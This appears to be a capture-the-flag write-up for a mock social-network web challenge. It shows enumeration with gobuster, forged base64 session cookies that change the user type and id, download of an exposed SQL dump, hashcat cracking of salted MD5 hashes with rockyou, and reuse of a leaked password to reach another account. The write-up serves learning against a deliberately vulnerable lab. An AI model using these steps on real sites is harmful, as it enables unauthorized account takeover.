This challenge was really cool !!! The scenario was incredible, loved it !
Here it is, we are ask to proove to Mark Zuckerberg that his web site is vulnerable, let's do this!


First, I tried gobuster enum:
//static/             (Status: 403) [Size: 199]
//profile.php         (Status: 302) [Size: 0] [--> ../login.html]
//user.php            (Status: 302) [Size: 0] [--> ../login.html]
//404.html            (Status: 200) [Size: 6637]                 
//index.html          (Status: 200) [Size: 17012]                
//login.html          (Status: 200) [Size: 7975]                 
//static              (Status: 301) [Size: 244] [-->]
//backend/            (Status: 403) [Size: 199]
Not really intersting, I tried Sqlmap on login form, also tried if nikto managed to get something but nothing...
However, I found some comments in the index source code:
Apparently, we need to find a way to log as "demo", to do so we need to find the right endpoint because login.html doesn't allow username login but only email login.

I used Owasp-Zap crawler to found it, here it is "media.html"

Step 2:

We can now log as "demo" with pass "demo".
Since we are logged in, we have a base64 encoded session cookie.
eyJpZCI6IjEiLCJ0eXBlIjoicCJ9 --> {"id":"1","type":"press"}

We can't access other endpoints, but if we turn the cookie into this one, we can access it.
eyJpZCI6IjEiLCJ0eXBlIjoic3R1ZGVudCJ9 --> {"id":"1","type":"student"}
One intersting endpoint is "search.php", cuz we can see an error message:
This server is running an unsupported MySQL [...] '/var/www/html/old_Test_Database.sql' (2) [...]136.
    Ask your system administrator to upgrade MySQL to improve security and features.%

So, we can dowload "/var/www/html/old_Test_Database.sql"
Here are the sum up infos, of the database:
salt == 7heF@c3b00x (suffixed)


Let's crack it:
┌──[fey ☣️ ️ kali] ⚔ 
└[~/CHALLS/CTF/PHACK/WEB/TheFaceboox] = = = >  hashcat -m 10 creds_hash.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 3935/3999 MB (1024 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5($pass.$salt)
Hash.Target......: creds_hash.txt
Time.Started.....: Fri Apr  2 19:20:49 2021 (7 secs)
Time.Estimated...: Fri Apr  2 19:20:56 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1605.8 kH/s (1.08ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 4/4 (100.00%) Digests
Progress.........: 10825728/14344385 (75.47%)
Rejected.........: 0/10825728 (0.00%)
Restore.Point....: 10822656/14344385 (75.45%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Milly001 -> Miababy1

Started: Fri Apr  2 19:20:43 2021
Stopped: Fri Apr  2 19:20:58 2021

We now have access to several credentials.

Step 3

None of theese profiles are interesting but Rachel, cuz see what I've found in her messages.

Hey Rachel ! I've juste reset the Fox News press account password as you requested. <br><br>The new password is : jKslA54sSjdAjs.<br><br>Make sure to change it next time you login ! :)

Since Fox New's username is in the database we have can access its account.
-- Dumping data for table `press`

/*!40000 ALTER TABLE `press` DISABLE KEYS */;
INSERT INTO `press` VALUES (1,'demo',''),(2,'cnn',''),(3,'nyt',''),(4,'guardian',''),(5,'fox','');
/*!40000 ALTER TABLE `press` ENABLE KEYS */;

Last Step

Can can log as "fox:jKslA54sSjdAjs" on the media.html form.
We are now able to change again our session cookie and since fox'id is 5, when we'll change our type to student, we will be able to access the sudent account with id 5, And Guess who is it.... Yes, it is Mark !
eyJpZCI6NSwidHlwZSI6InByZXNzIn0= --> {"id":5,"type":"press"}

eyJpZCI6NSwidHlwZSI6InN0dWRlbnQifQ== --> {"id":5,"type":"student"}

And the flag is in his messages !